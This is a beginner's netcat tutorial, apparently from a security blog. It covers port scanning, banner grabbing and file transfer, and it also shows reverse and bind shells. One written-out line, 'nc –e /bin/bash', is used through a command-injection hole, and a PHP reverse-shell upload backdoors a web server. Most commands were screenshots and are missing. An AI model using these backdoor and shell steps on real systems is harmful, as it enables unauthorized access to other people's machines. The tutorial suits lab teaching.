Netcat Tutorials for Beginner

From Wikipedia

In the field of hacking most utilized and powerful tool used by the attack is popularly known as “Netcat” which is a computer networking function for analyzing from and writing to network connections using TCP or UDP. Netcat is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool; since it can create almost any kind of connection its user could need and has a number of built-in capabilities.

Netcat is at the same time very easy and multipurpose, it’s like trying to explain everything you can do with your Swiss Army knife.

For examples:-

  • Banner grabbing
  • Bind shell (backdoor)
  • Chatting
  • File uploading and downloading
  • Port scanning
  • Port knocking
  • Port forwarding
  • Show webserver HTTP file contents

There are so many options inside netcat to enhance its function and effect when you will type nc –h in the terminal of Kali Linux. Before getting inside its working details you must aware of that here we had used two systems one as attacker another as the target system.  

Let’s begin

Port Knocking 

Open the terminal of your Kali Linux and type the following command which contains target’s IP and target port number.

So when the given command will be executed it will tell about hidden running service through knocking the port, from given below image you can observe that port 2222 is open for SSH.

Reverse Shell

 Mainly attacker uses netcat as a backdoor for making unauthorized accessing target’s system, in this, an attacker activates listening port (random port) when scanning any vulnerable target.

Above command will be waiting for reverse connect from the victim’s system.

In the given screenshot you can see the running web site is suffering from os command injection vulnerability now use nc –e /bin/bash 4444 to establish a connection between victim and attacker’s system which will allow unauthorized access by creating a backdoor.

Here you can see successfully we have (attacker) access victim’s shell through netcat.

Netcat as a Backdoor

Download netcat.exe for windows and type following command

From given screenshot, you can perceive that attacker successfully get connected with windows client through netcat

File Upload Exploitation

We will look at how an attacker can exploit file upload vulnerability through netcat shell. From a given image it is clear that the targeted web server allows its client to upload an image.

For uploading, we have use php-reverse-shell.php instead of an image which a php backdoor. Open this web shell for editing listener IP i.e. your Kali Linux IP ( and then activate netcat using the following command which will wait for establishing a reverse connection with victim’s system.

Now after uploading your php backdoor inside a web server and execute the file which will connect the victim’s system from attacker machine.

Hence you can see attacker successfully made unauthorized access through netcat shell.

HTTP Request

Use Netcat to fetch web page information from a web server.  With Netcat, you can search out the full HTTP header so you can see running the particular site in web server. Now type the following command that makes a connection to port 80.

 From the screenshot, you can read the detail of http header of the targeted web site.

Port Scanning

Netcat can also scan the TPC & UDP port hence it can be used in the place of NMAP which will tell us about the open and close port of the targeted IP

The following command shows target IP and port range

  • -z:zero-I/O mode [used for scanning]
  • -w: timeout for connects and final net reads
  • -v:-v verbose
  • -l: listen mode, for inbound connects
  • -n:numeric-only IP addresses,

From the resultant image, you can see open ports with running services.


Netcat is also used for chatting from between two systems. We require putting together the Netcat to listen on a specific port on both systems and connect to a specific address.


How are you


File Transfer

As you know in windows we have download netcat.exe file nowhere I had to use it for uploading a text file t.txt on the targeted system through a specific port.

Now receiver can download that t.txt file by giving a similar port number that will establish a connection between both systems.

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Leave a Reply

Your email address will not be published. Required fields are marked *